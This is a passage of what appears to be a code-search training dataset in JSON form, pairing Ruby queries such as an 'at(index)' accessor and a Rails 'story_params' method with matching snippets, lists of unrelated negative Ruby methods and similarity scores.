"def update_value_in_index(index, value)\n if value.respond_to? :update_index\n value.update_index(index, self)\n elsif value.is_a?(Hash) && value['version']\n update_value_in_index(index, value['value'])\n else\n index\n end\n end",
"def set_value(new_value, index)\n update_tag(index, new_value)\n end",
"def []=(index, form_field)\n touch()\n \n begin\n form_field.hint = @hints[form_field.name.to_s] if (@hints && !form_field.hint)\n rescue ::Exception => e\n end\n \n if !index.kind_of? Numeric\n delegated_to_fieldset = false\n @fieldsets.values.each { |fieldset|\n if fieldset.has_field?(index) then\n fieldset[index] = form_field\n delegated_to_fieldset = true\n end\n }\n \n @element_map[index.to_s] = form_field unless delegated_to_fieldset\n replaced = false\n @elements.collect { |e|\n if e.name.to_s == index.to_s\n replaced = true\n e = form_field \n end\n }\n @elements << form_field unless replaced\n else \n @elements[index] = form_field \n end\n\n @values[form_field.name.to_s] = form_field.value if form_field.respond_to?(:value)\n end",
"def []=(name, value); end",
"def []=(name, value); end",
"def []=(name, value); end",
"def []=(name, index = 0, value)\n __send__(self.class::MEMBERS_SETFN[name], value, index)\n end",
"def set_component_settings_value(index, value)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n if value.handle.ptr == nil\n raise \"value is disposed\"\n end\n Native.LayoutEditor_set_component_settings_value(@handle.ptr, index, value.handle.ptr)\n value.handle.ptr = nil\n end",
"def []= name, value\n set_all name => value\n end",
"def []= name, value\n set name, value\n end",
"def []= (row, col, val)\n _set(gsl, row, col, val)\n end",
"def set_block4(index, value)\n b1, b2, b3, *_ = _calculate_block_indices(index)\n block2 = @block1[b1] ||= Array.new(1 << BLOCK2)\n block3 = block2[b2] ||= Array.new(1 << BLOCK3)\n block3[b3] = value\n end",
"def set_general_settings_value(index, value)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n if value.handle.ptr == nil\n raise \"value is disposed\"\n end\n Native.LayoutEditor_set_general_settings_value(@handle.ptr, index, value.handle.ptr)\n value.handle.ptr = nil\n end",
"def array_method(input, value_input, which_index)\n\tif input.is_a?(Array) && which_index.is_a?(Integer)\n\t\tinput[which_index] = value_input\t\n\t\tputs input\n\t\treturn input\n\telse\n\t\treturn false\n\tend\nend",
"def move(board, index, value)\n board[index] = value\nend",
"def move(board, index, value)\n board[index] = value\nend",
"def set_element_at(row_idx, column_idx, value)\n target_row = row_at(row_idx)\n element = Element.new(value, row_idx, column_idx, self)\n target_row[column_idx] = element\n end",
"def []=(index, value)\n @members[index] = cast_value(value)\n end",
"def []=(row, column, value)\n end",
"def update_array_at_with (array, i, char)\n array[i] = X\nend",
"def update(idx, new_val)\n # idx is 1-based\n idx += @n_leaves - 1\n\n # Note: this will allow updating indices \n # that were not in original array but is \n # less than next power of 2 of arr.size.\n unless idx < @internal_arr.size\n raise KeyError, \"Index Out of Bounds Error\"\n end\n @internal_arr[idx] = new_val\n \n p = idx >> 1\n \n # since we are using a 1-based indexing, \n # p=0 is an invalid state.\n while p > 0 do\n @internal_arr[p] = @func.call(@internal_arr[p << 1], @internal_arr[p << 1 | 1])\n p >>= 1\n end\n end",
"def update(idx, new_val)\n # idx is 1-based\n idx += @n_leaves - 1\n\n # Note: this will allow updating indices\n # that were not in original array but is\n # less than next power of 2 of arr.size.\n raise KeyError, 'Index Out of Bounds Error' unless idx < @internal_arr.size\n\n @internal_arr[idx] = new_val\n\n p = idx >> 1\n\n # since we are using a 1-based indexing,\n # p=0 is an invalid state.\n while p > 0\n @internal_arr[p] = @func.call(@internal_arr[p << 1], @internal_arr[p << 1 | 1])\n p >>= 1\n end\n end",
"def add_at_index(index, val)\n \n end",
"def indexed=(val)\n self['indexed'] = 'val'\n end",
"def move(board, index, value)\n board[index] = value\n end",
"def []=(i, val)\n case @orientation\n when :column;\tsuper(i, 0, val)\n when :row;\t super(0, i, val)\n end\n end",
"def []=(index, value)\n if index < 0 || index > @length - 1\n return nil\n else\n node = @head\n count = 1\n until count > index\n node = node.next\n count += 1\n end\n end\n node.value = value\n end",
"def move(index, value)\n @board[index] = value\n end",
"def move(index, value)\n @board[index] = value\n end",
"def set_binding_index_safely(index); end",
"def replace_index!(arr, i,array)\n arr.replace( (arr[0, i] || []) + array + arr[i + 1 .. -1] )\n end",
"def []=(loc, val)\n sequence[loc] = val\n end",
"def []=(loc, val)\n sequence[loc] = val\n end",
"def set(key , value)\n index = key_index(key)\n if( index )\n @i_values.set(index , value)\n else\n @i_keys.push(key)\n @i_values.push(value)\n end\n value\n end",
"def []=(column_index, value)\n @row[column_index] = value.part\n $dirty << [column_index, @row_index]\n $blocks_to_redraw << [column_index, @row_index]\n end",
"def[]=(pos, value)\n row = pos.first\n col = pos.last\n @grid[row][col] = value\n end",
"def setMapValue(x, y, value)\n index = self.getMapIndex(x, y)\n return @mapArray[index] = value;\n end",
"def []=(pos, value)\n row, col = pos\n grid[row][col] = value\n end",
"def set_attribute(attribute,value,index=0)\n index = normalize_index(index)\n# puts \"<br>SETTING ATTRIBUTE #{attribute}[#{index}]=#{value} [caller: #{trace}]\"\n @attributes[index] ||= {}\n @attributes[index][normalize_attribute(attribute)] = value\n end",
"def set(row, column, value)\n @matrix[row][column] = value\n end",
"def []=( index, value )\n\n # JJL - Support my PID-11.1 syntax\n if index.is_a?(String) && index.include?('-')\n (segment, delim, element)=index.partition('-')\n if matches=segment.match(/^(\\w+);(\\d+)/)\n segment=matches[1].to_sym\n index=matches[2].to_i\n else\n segment=segment.to_sym\n index=1\n end\n if @segments_by_name.has_key?(segment)\n if element.include?('.')\n (element, delim, item)=element.partition('.')\n element = segment==:MSH ? element.to_i - 1 : element.to_i\n data=@segments_by_name[ segment ][index-1].e(element).to_s.split(@item_delim)\n data[item.to_i-1]=value\n ret = @segments_by_name[ segment ][index-1].write_field(element, data.join(@item_delim))\n else\n element = segment==:MSH ? element.to_i - 1 : element.to_i\n ret = @segments_by_name[ segment ][index-1].write_field(element, value)\n end\n end\n return ret\n end\n # /JJL\n\n unless ( value && value.kind_of?(HL7::Message::Segment) )\n raise HL7::Exception.new( \"attempting to assign something other than an HL7 Segment\" )\n end\n\n if index.kind_of?(Range) || index.kind_of?(Fixnum)\n @segments[ index ] = value\n elsif index.respond_to?(:to_sym)\n (@segments_by_name[ index.to_sym ] ||= []) << value\n else\n raise HL7::Exception.new( \"attempting to use an indice that is not a Range, Fixnum or to_sym providing object\" )\n end\n\n value.segment_parent = self\n end",
"def []=(i, value)\n\t\t@alto[i]=value\n\t\t@ancho[i]=value\n\t\t@elem[i]=value\n\tend",
"def index=(idx)\n raise \"Index already set!\" unless @index.nil?\n @index = idx\n end"
] |
[
"0.7118109",
"0.7027778",
"0.70017946",
"0.69859034",
"0.692407",
"0.692382",
"0.68966824",
"0.68679464",
"0.676832",
"0.6716316",
"0.65789926",
"0.65663934",
"0.65489966",
"0.6540345",
"0.6508133",
"0.64684135",
"0.6463302",
"0.6429215",
"0.6403789",
"0.63974446",
"0.6350883",
"0.63188076",
"0.6312214",
"0.63029015",
"0.62896335",
"0.6280423",
"0.62702245",
"0.62619525",
"0.6215217",
"0.6207184",
"0.61877805",
"0.6182912",
"0.61685616",
"0.6146089",
"0.6086382",
"0.6058476",
"0.60329527",
"0.6022922",
"0.60053974",
"0.60000527",
"0.59946555",
"0.5982988",
"0.5869495",
"0.5837189",
"0.58360785",
"0.57883656",
"0.5760342",
"0.5743822",
"0.57241166",
"0.571758",
"0.5715508",
"0.5693427",
"0.5663215",
"0.5625033",
"0.5612725",
"0.5605071",
"0.5589666",
"0.5585045",
"0.5556394",
"0.55440015",
"0.5538374",
"0.5538374",
"0.5538374",
"0.55137616",
"0.54996705",
"0.54983175",
"0.5486114",
"0.5479756",
"0.5473182",
"0.54709774",
"0.54620945",
"0.54608476",
"0.54608476",
"0.5460648",
"0.5454662",
"0.54324037",
"0.5428553",
"0.54250467",
"0.54181063",
"0.5408585",
"0.5407694",
"0.5406386",
"0.5390806",
"0.5388127",
"0.53769344",
"0.53769344",
"0.5373874",
"0.5353983",
"0.53531283",
"0.53531283",
"0.53485686",
"0.53449774",
"0.53437346",
"0.53391105",
"0.53380555",
"0.5319767",
"0.53162116",
"0.531259",
"0.53117627",
"0.5305325"
] |
0.71751994
|
0
|
callseq: at( index ) => value
|
def at( index )
@ary.at(index + @offset)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def at(index); end",
"def [](index)\n\t\t@sequence[index]\n\tend",
"def [](index); end",
"def [](index)\n @val[index]\n end",
"def at(index)\n self[index]\n end",
"def at(index)\n \t@array[index]\n end",
"def at(array, i)\n array[i]\nend",
"def [](index)\n @values[index]\n end",
"def at(index)\n each.with_index { |v, i| return v if i == index }\n return nil\n end",
"def [](index)\n cast get(index)\n end",
"def [](loc, idx)\n return loc if immediate?(idx)\n\n sequence[loc]\n end",
"def [](index); @data[index]; end",
"def [](index)\n end",
"def [](index)\n end",
"def [](index)\n return get(index)\n end",
"def [](index)\n self.__getitem__ index\n end",
"def [](index); @args[index] end",
"def [](index)\n @values[index]\n end",
"def [](index) # i.e. array style index lookup.\n end",
"def at(index)\n if index >= self.size\n puts \"index out of range.\"\n else\n each_with_index do |node, i|\n return node.value\n end\n end\n end",
"def at\n ->(x, i) { i[x] unless i.nil? }.curry\n end",
"def [](index)\n get(index)\n end",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
"def [](idx)\n send(idx)\n end",
"def index(element); end",
"def [](i)\n seq[i]\n end",
"def [](index)\n @index[index]\n end",
"def [](index)\n raise_future_proof_exception unless finished?\n values[index]\n end",
"def [](indx)\n elements[indx]\n end",
"def [](loc)\n sequence[loc]\n end",
"def []( index )\r\n @ary.at(index + @offset)\r\n end",
"def [](i); @x[i]; end",
"def aget(index)\n end",
"def values_at(arg0, arg1, *rest)\n end",
"def at(index)\n\t\tx = @head\n\t\ty = 0\n\t\tuntil x == nil\n\t\t\tif y == index\n\t\t\t\treturn x\n\t\t\tend\n\t\t\ty += 1\n\t\t\tx = x.next\n\t\tend\n\tend",
"def values_at(*rest) end",
"def values_at(*rest) end",
"def values_at(*rest) end",
"def [](index)\n @list[index]\n end",
"def [] index\r\n @list[index]\r\n end",
"def at(index)\n\t\tlocation = @head.next_node\n\t\t(index).times do\n\t\t\tlocation = location.next_node\n\t\tend\n\t\tlocation\n\tend",
"def at(position)\n self[position]\n end",
"def get(index)\n \n end",
"def [](index)\n all[index]\n end",
"def [](index)\n lookup(index.to_sym)\n end",
"def index=(_arg0); end",
"def [](index)\n @items[index - 1]\n end",
"def [](index)\n @items[index - 1]\n end",
"def index(p0) end",
"def index(p0) end",
"def values_at(*) end",
"def [](idx)\n items[idx]\n end",
"def at(idx)\n Ruby.primitive :array_aref\n idx = Type.coerce_to idx, Fixnum, :to_int\n idx += @total if idx < 0\n\n return nil if idx < 0 or idx >= @total\n\n @tuple.at @start + idx\n end",
"def [](i)\n end",
"def [](i)\n end",
"def [](index)\n entries[index]\n end",
"def [](value); end",
"def element_at(arr, index)\n arr[index]\nend",
"def [](idx) \n if idx >= @total\n return nil\n end\n\n @tuple.at(@start + idx)\n end",
"def []=(index, element); end",
"def at(index)\n return nil if @head.nil? \n return @head if index == 1\n return nil if index > self.size\n self.each_with_index do |current, ind|\n return current if ind == index\n end\n\n end",
"def [](index)\r\n @internal_list[index]\r\n end",
"def [](*index)\n if index[0].kind_of?(Array)\n index = index[0]\n end\n return @delegate[index]\n end",
"def element_at(arr, index)\n arr[index]\n # or arr.at(index)\nend",
"def []( index )\n reg = to_reg()\n reg[index]\n end",
"def [](index)\n beam[index]\n end",
"def at(index)\n return nil if index < 0 || index > @size \n temp = @head\n index.times { temp = temp.next_node}\n temp\n end",
"def at(index)\n curr = head\n index.downto(1) do |_|\n break if curr.nil?\n\n curr = curr.next\n end\n curr\n end",
"def [](index)\n return @items[index]\n end",
"def [](index = nil)\n to_alloc[index]\n end",
"def [](index)\n entries[index]\n end",
"def [](i)\n \t@vector[i] \n end",
"def [](index)\n return nil if index < 0\n v = @from+index*@by\n return v if v <= @to\n return nil\n end",
"def [](index)\n @items[index]\n end",
"def [](index)\n @items[index]\n end",
"def by_index(index)\n @arr[index]\n end",
"def get(index)\n args[index]\n end",
"def [](index)\n value = self.value\n value = value.value if value.is_a?(Value)\n \n case value\n when Array\n case index\n when Integer\n value[index]\n when Symbol\n case index\n when :head\n value[0]\n when :tail\n value[1..-1]\n else\n nil\n end\n else\n nil\n end\n else\n nil\n end\n end",
"def get_index(index)\n return self.at(index)\n end",
"def [](index)\n ret = get_node_at_index(index)\n return ret.value if ret != nil\n return ret\n end",
"def at(index)\n node = @head\n count = 0\n size.times do\n break if index == count\n node = node.next_node\n count += 1\n end\n return node.data\n end",
"def [](index)\n @values.detect{|value| value.name == index }\n end",
"def add_at_index(index, val)\n \n end",
"def []=(index, value)\n %x{\n var size = #{self}.length;\n\n if (index < 0) {\n index += size;\n }\n\n return #{self}[index] = value;\n }\n end",
"def item; @data[@index]; end",
"def [](index)\n genes[index]\n end",
"def [](index)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n number[index]\n end",
"def [](idx)\n\t\t@bar[idx]\n\tend",
"def [](index)\n case index\n when Integer\n values[index]\n when self\n values[index.index]\n else\n name = index.to_s\n case name\n when /\\A(\\d+)\\Z/\n return values[$1.to_i]\n when /\\A[a-z]/\n name = name.to_str.gsub(/(?:\\A|_)(.)/) { $1.upcase }\n end\n with_name(name)\n end\n end",
"def at(index)\n node = @head\n index.times { node = node.link } \n node\n end",
"def get(index)\n current = get_next\n index.times { current = get_next(current) }\n current\n end",
"def []=(index, value)\n end",
"def [](index)\n line[index]\n end",
"def get_at_index(index)\n raise NotImplementedError, \"Please implement get_at_index\"\n end",
"def [](i)\n @elements[i]\n end",
"def [](index)\n get_node(index).element\n end",
"def [](index)\n set?(index)\n end",
"def [](index)\n # raises IndexOutOfBoundsException if index is out of bounds [0, @length)\n # TODO\n end",
"def aset(index, value)\n end",
"def []=(index, value)\n end"
] |
[
"0.8371274",
"0.77391016",
"0.77143025",
"0.7711922",
"0.7490549",
"0.7483831",
"0.7396486",
"0.736687",
"0.7365812",
"0.7323467",
"0.7322493",
"0.72951317",
"0.7289671",
"0.7289671",
"0.7273964",
"0.7267843",
"0.7255149",
"0.7251651",
"0.72453475",
"0.7222895",
"0.7198048",
"0.7159145",
"0.71402496",
"0.7116448",
"0.71012676",
"0.70958304",
"0.70714635",
"0.7058357",
"0.7041199",
"0.7041196",
"0.70157844",
"0.69648",
"0.694956",
"0.6924921",
"0.69179815",
"0.6910969",
"0.6910969",
"0.69100505",
"0.69058967",
"0.6904506",
"0.68943614",
"0.6893116",
"0.68832564",
"0.68780214",
"0.6868692",
"0.6861167",
"0.68380415",
"0.68380415",
"0.68342125",
"0.68342125",
"0.6825402",
"0.68159133",
"0.6813335",
"0.68024486",
"0.68024486",
"0.6751872",
"0.67463076",
"0.6707007",
"0.67053103",
"0.6701582",
"0.6688753",
"0.6686034",
"0.666146",
"0.66471785",
"0.6645912",
"0.6623633",
"0.66232467",
"0.6612217",
"0.6606399",
"0.6593594",
"0.65916216",
"0.65888304",
"0.6587162",
"0.6586629",
"0.6586629",
"0.6580812",
"0.65706366",
"0.6567488",
"0.65642035",
"0.65403444",
"0.6532067",
"0.6526206",
"0.65205485",
"0.6517937",
"0.6516447",
"0.6513698",
"0.65081924",
"0.64988697",
"0.64865303",
"0.6474129",
"0.64727896",
"0.646605",
"0.6463366",
"0.64542603",
"0.6445565",
"0.6434834",
"0.6434802",
"0.64329576",
"0.64264876",
"0.64225453"
] |
0.7253818
|
17
|
Cheat to access a different controller
|
def wrap_with_controller(new_controller = Kaui::SessionsController)
old_controller = @controller
@controller = new_controller.new
yield
@controller = old_controller
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def controller(controller); end",
"def controller\n end",
"def controller\n end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; nil; end",
"def controller\n @controller\n end",
"def controller\n @controller ||= MainController.new\n end",
"def default_controller; end",
"def controller_path; end",
"def controller_path; end",
"def controller\n nil\n end",
"def controller=(_arg0); end",
"def controller=(_arg0); end",
"def controller=(_arg0); end",
"def controller_name; end",
"def controller_name; end",
"def controller\n ApplicationController\n end",
"def switch_to_controller\n unless ( name = (path_matcher.view_name || path_matcher.model_name) )\n return\n end\n\n action = nil\n \tif path_matcher.is_view?\n \t action = File.basename(file_path).split(\".\").first\n else\n \t name = name.pluralize\n end\n\n controller = \"/app/controllers/#{name}_controller.rb\"\n\n if action\n goto_definition controller, \"def #{action}\"\n else\n open_file controller\n end\n end",
"def controller_class; end",
"def controller_class; end",
"def controller\n self::Controller\n end",
"def controller\n self\n end",
"def route\n @base_controller.route if @base_controller\n end",
"def controller\n nil\n end",
"def controller\n nil\n end",
"def use_relative_controller!; end",
"def controller\n self\n end",
"def set_controller\n @controller = Controller.find(params[:id])\n end",
"def controller\n platform_service(:controller)\n end",
"def controller\n @controller ||= controller_name.constantize\n end",
"def switch_to_controller\n return unless ( name = path_matcher.functional_name )\n \n controller = \"/app/controllers/#{name}.rb\"\n \n if (test = find_test_under_cursor) \n # remove words from the test name that indicate the test\n # then use the first word as the name of the function/action\n #\n test.sub!(/^should /i, '')\n if test =~ /^(get|post|put|delete) /i\n test.sub!(/^[^\\s]+ /, '')\n end\n \n function = test.split(/\\s/).first\n unless function.nil?\n return goto_definition(controller, function)\n end\n end\n \n open_file controller\n end",
"def entry\n @controller.send(:entry)\n end",
"def index\n redirect_to :controller => \"callc\", :action => 'main'\n end",
"def goto_questionnaires\n goto_controller('Questionnaires')\n end",
"def return_to_main\n # If you have multiple scaffolds on the same view then you will want to change this to\n # to whatever controller/action shows all the views \n # (ex: redirect_to :controller => 'AdminConsole', :action => 'index')\n redirect_to :action => 'list'\n end",
"def second_controller_instance_method\n puts \"###### This method is not automatically run inside application_controller, but it is available inside application_controller. To see this example add 'before_filter :second_controller_instance_method' at the top of your app's application_controller.rb ######\"\n end",
"def controller\n return @controller\n end",
"def controller\n Thread.current[:authlogic_controller]\n end",
"def is_controller?; false; end",
"def cnam\r\n CNAMController.instance\r\n end",
"def route_user(action)\n case action\n when 1 then @patients_controller.list\n end\n end",
"def controllers\n raise NotImplementedError\n end",
"def clients\r\n ClientsController.instance\r\n end",
"def transfer_to(controller_name)\n @session.controller = controller_name.new(@session)\n end",
"def method_missing *args\n @controller_instance.send *args\n end",
"def route_index; end",
"def load\n @load_controller = @controller\n end",
"def index\n initiate()\n end",
"def controller(name, &block)\n existing = @base.controllers.select { |a| a.name == name }.first\n if existing\n controller = existing\n else\n controller = Moonrope::Controller.new(@base, name)\n @base.controllers << controller\n end\n controller.dsl.instance_eval(&block) if block_given?\n controller\n end",
"def industrial\r\n IndustrialController.instance\r\n end",
"def controller(controller)\n scenario.controller = controller\n end",
"def barn_controller!\n @controller = Class.new(ApotomoController) do\n def initialize(*)\n super\n self.request = ActionController::TestRequest.new\n end\n \n def self.name; \"BarnController\"; end\n \n def self.default_url_options; {:controller => :barn}; end\n end.new\n end",
"def intro\n redirect_to :controller => 'distros', :action => 'index'\n end",
"def controller(name)\n controllers.select { |a| a.name == name }.first\n end",
"def content_controller\n main_controller.content_controller\n end",
"def controller\n @controller ||= ApplicationController.new\n end",
"def root\r\n if can? :read, :landing\r\n redirect_to(:controller => 'landing', :action => 'index') and return\r\n end\r\n [Enrollment, Professor, ScholarshipDuration, Phase, Course, City, User, Student].each do |model|\r\n if can? :read, model\r\n redirect_to(:controller => model.name.underscore.pluralize.downcase, :action => 'index') and return\r\n end\r\n end\r\n end",
"def set_rcontroller\n @rcontroller = Rcontroller.find(params[:id])\n end",
"def reviewer_home\n redirect_to(:action => 'index')\n end",
"def to_login_server\n MenuControllerContracts.invariant(self)\n @current_view = @views[4]\n MenuControllerContracts.invariant(self)\n end",
"def setup_controller_for_warden; end",
"def controller\n @params['controller'] || @params[:controller]\n end",
"def other_hello\n redirect_to(:controller => 'demo', :action => 'hello')\n end",
"def controller\n MSPhysics::Newton::Hinge.get_controller(@address)\n end",
"def index\n login_first\n @title = 'Welcome to DCID!'\n redirect :routing\n end",
"def controller(&block)\n @config.controller.class_exec(&block) if block_given?\n @config.controller\n end",
"def sm\r\n SMController.instance\r\n end",
"def method_missing(method, *args, &block)\n if controller.respond_to?(method)\n define_singleton_method(method) do |*args, &block|\n controller.send(method, *args, &block)\n end\n send(method, *args, &block)\n else\n super\n end\n end",
"def goto_courses\n goto_controller('Courses')\n end",
"def controller client\n client.env[CONTROLLER_NAME]\n end",
"def run(req, res)\n # The #run method will figure out what URL was requested, match it to\n # the path regex of one Route object, and finally ask the Route to\n # instantiate the appropriate controller, and call the appropriate method.\n end",
"def index\n # The hook below can access controller's instance variables.\n if current_user\n if current_user.role?:livia_admin\n redirect_to companies_url\n elsif is_secretary_or_team_manager?\n redirect_to \"/wfm/notes\"\n elsif current_user.end_user\n redirect_to physical_clientservices_home_index_path\n elsif is_client\n redirect_to matter_clients_url\n elsif current_user.role?:lawfirm_admin\n redirect_to lawfirm_admins_url\n return\n end\n else\n flash[:error] = t(:flash_DB_error)\n redirect_to login_url\n end\n end",
"def developer\n # redirect_to(:controller => 'docu', :action => 'index')\n end",
"def thing\n controller_name.classify.constantize\n end",
"def test_04\n prepare_web_application\n #puts Alfa::Router.instance_variable_get(:@routes).inspect\n assert_equal(\"Frontend\\n\", Alfa::WebApplication.call({'PATH_INFO'=>'/test_04'})[2].join)\n assert_equal(\"Admin\\n\", Alfa::WebApplication.call({'PATH_INFO'=>'/admin/test_04'})[2].join)\n assert_equal(\"Frontend\\n\", Alfa::WebApplication.call({'PATH_INFO'=>'/test_04'})[2].join) # call controller after calling same name controller should not interleave controller variables\n assert_equal(\"Admin\\n\", Alfa::WebApplication.call({'PATH_INFO'=>'/admin/test_04'})[2].join)\n end",
"def hook_controllers!\n ActionController::Base.extend Storehouse::Controller\n end",
"def index\n\t\tctrl_index\n\tend",
"def index\n\t\tctrl_index\n\tend",
"def index\n\t\tctrl_index\n\tend",
"def controller_name(name)\n @controller_class_name = \"#{name}_controller\".camelize\n end",
"def index\n @controllers = Controller.all\n end",
"def controller_name(name)\n tests \"#{name}_controller\".camelize.constantize\n end",
"def violate_mvc\n [Grid, Rendering, Part].each { |k| k.active_controller = self }\n end",
"def default_catalog_controller\n self\n end",
"def appindex\n\n end",
"def controller_name\n self.class.controller_name\n end",
"def set_test_controller\n @test_controller = TestController.find(params[:id])\n end",
"def goto_author_feedbacks\n goto_controller('Author Feedback')\n end",
"def other_hello\n # redirect_to(:controller => 'demo', :action =>'index')\n redirect_to(:action => 'hello')\n end",
"def goto_global_survey\n goto_controller('Global Survey')\n end",
"def root\n redirect_to controller: 'boards', action: 'show', id: 'public'\n end",
"def foo\n p \"Hey from ApplicationController. (Your father)\"\n end"
] |
[
"0.762625",
"0.74495393",
"0.74495393",
"0.73517007",
"0.73517007",
"0.73517007",
"0.73517007",
"0.73517007",
"0.73517007",
"0.73517007",
"0.73517007",
"0.73517007",
"0.73517007",
"0.7047888",
"0.6879396",
"0.67930865",
"0.6758461",
"0.6757817",
"0.6757817",
"0.6733979",
"0.66674984",
"0.66674984",
"0.66674984",
"0.6643597",
"0.6643597",
"0.6598051",
"0.6582229",
"0.65755665",
"0.65755665",
"0.65644366",
"0.6551052",
"0.6536333",
"0.6519615",
"0.6519615",
"0.6492987",
"0.64718515",
"0.64625823",
"0.64625746",
"0.6363944",
"0.62905467",
"0.62817085",
"0.6262346",
"0.62604386",
"0.6242053",
"0.6222276",
"0.6214845",
"0.62069356",
"0.62042594",
"0.6197893",
"0.6192376",
"0.6181552",
"0.61802477",
"0.61481655",
"0.61372983",
"0.6133867",
"0.6109156",
"0.61005855",
"0.6098686",
"0.60898805",
"0.6070875",
"0.60627884",
"0.60604185",
"0.60468674",
"0.6045445",
"0.6044125",
"0.6026919",
"0.6024247",
"0.6008828",
"0.59979075",
"0.599714",
"0.5983722",
"0.59801364",
"0.5978722",
"0.59727174",
"0.59601164",
"0.59461355",
"0.59441024",
"0.5942444",
"0.5940419",
"0.5939216",
"0.59384704",
"0.59359324",
"0.5932438",
"0.5930767",
"0.5923757",
"0.5922258",
"0.5922258",
"0.5922258",
"0.5903373",
"0.5884714",
"0.5881928",
"0.5879016",
"0.58724314",
"0.58722454",
"0.5868248",
"0.5860787",
"0.58575445",
"0.58538634",
"0.58533275",
"0.58516324",
"0.58488"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions. def set_story
|
def story_params
params.require(:story).permit(:title, :description)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_story\n @story = Story.find(params[:story_id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.friendly.find(params[:id])\n authorize @story\n end",
"def set_story\n @story = Story.find(params[:id])\n end",
"def set_story\n @story = Story.includes(:user, :extends).find(params[:id])\n end",
"def set_story\n @story = Story.friendly.find(params[:id])\n end",
"def set_story\n @story = ScrumStory.find(params[:id])\n end",
"def set_story\n @story = Story.find(params[:id])\n @book = @story.book\n end",
"def set_admin_story\n @story = Story.friendly.find(params[:id])\n end",
"def set_user_story\n @user_story = UserStory.find(params[:id])\n end",
"def set_story_page\n @story_page = StoryPage.find(params[:id])\n end",
"def set_story\n @story_id = params[:id]\n if Story.exists? id: @story_id\n @story = Story.find(@story_id)\n else\n redirect_to stories_url, alert: 'We are sorry, but there was no story found at that URL.'\n end\n end",
"def set_story\n @story = Story.find(params[:id])\n @tags = @story.tags\n end",
"def work\n\t\tsuper\n\t\t@story = @work\n\tend",
"def set_news_story\n @news_story = NewsStory.find(params[:id])\n end",
"def set_story_part\n @story_part = StoryPart.find(params[:id])\n end",
"def set_project_story\n @project_story = ProjectStory.find(params[:id])\n end",
"def setup\n @story = Story.create( :text => 'Hello world' )\n end",
"def set_story_modality\n @story_modality = StoryModality.find(params[:id])\n end",
"def set_story_point\n @story_point = StoryPoint.find(params[:id])\n end",
"def set_story_teller\n @story_teller = StoryTeller.find(params[:id])\n end",
"def set_audio_story\n @audio_story = AudioStory.find(params[:id])\n end",
"def rename_story\n\n end",
"def story() @story = Story.new end",
"def set_story_node\n @story_node = StoryNode.find(params[:id])\n end",
"def action_hook; end",
"def index\n @stories = Story.all.order(date: :desc)\n add_breadcrumb @stories.first.calls_to_action_lang(current_user), \"/admin/stories\"\n\n @title = Title.where(\"section_name = 'stories'\")\n if params[:title_thing].present?\n @the_title = Title.find(params[:title_thing])\n @the_title.update(title: params[:title])\n end\n if params[:fr_title_thing].present?\n @the_title = Title.find(params[:fr_title_thing])\n @the_title.update(fr_title: params[:fr_title])\n end\n end",
"def set_story_image\n @story_image = StoryImage.find(params[:id])\n end",
"def set_news\n end",
"def set_hunter_backstory\n @hunter_backstory = HunterBackstory.find(params[:id])\n authorize @hunter_backstory\n end",
"def set_admin_city_hall_story\n @admin_city_hall_story = Admin::CityHallStory.find(params[:id])\n @commonplace_id = @admin_city_hall_story.commonplace.id\n end",
"def set_user_story_card\n @user_story_card = UserStoryCard.find(params[:id])\n end",
"def define_action_hook; end",
"def create\n\t#create story set\n story_set = StorySet.new(name: \"storyset#{StorySet.count + 1}\")\n story_set.domain_id = session[:domain].id\n story_set.bright_text_application_id = session[:br_application_id]\n story_set.user_id = current_user.id\n #create story\n @story = Story.new(user_id: current_user.id, story_set: story_set, name: params[:story][:name], category: params[:story][:category], description: \"\", descriptor: \"\")\n @story.name = \"Apology#{Story.where(:user_id => current_user.id).count + 1}\" if @story.name.blank?\n @story.domain_id = session[:domain].id\n @story.bright_text_application_id = session[:br_application_id]\n @story.user_id = session[:user_id]\n @story.story_authors.build().user_id = session[:user_id]\n #set category details\n @story.story_set.story_set_category.domain_id = session[:domain].id\n @story.story_set.story_set_category.application_id = session[:br_application_id]\n @story.story_set.story_set_category.user_id = current_user.id\n @story.rank = 0\n\n respond_to do |format|\n if @story.save\n format.html { redirect_to @story, notice: 'Story was successfully created.' }\n format.xml { render :xml => @story, :status => :created, :location => @story }\n format.json { render json: @story, status: :created}\n format.js\n else\n #debugger\n format.json{ render :json=> @story.errors }\n# format.html { render :action => \"new\" }\n format.xml { render :xml => @story.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def set_individual_action_meta_information(args={})\n\t\t\t@title = args[:title]\n\t\t\t@meta_description = args[:description]\n\t\tend",
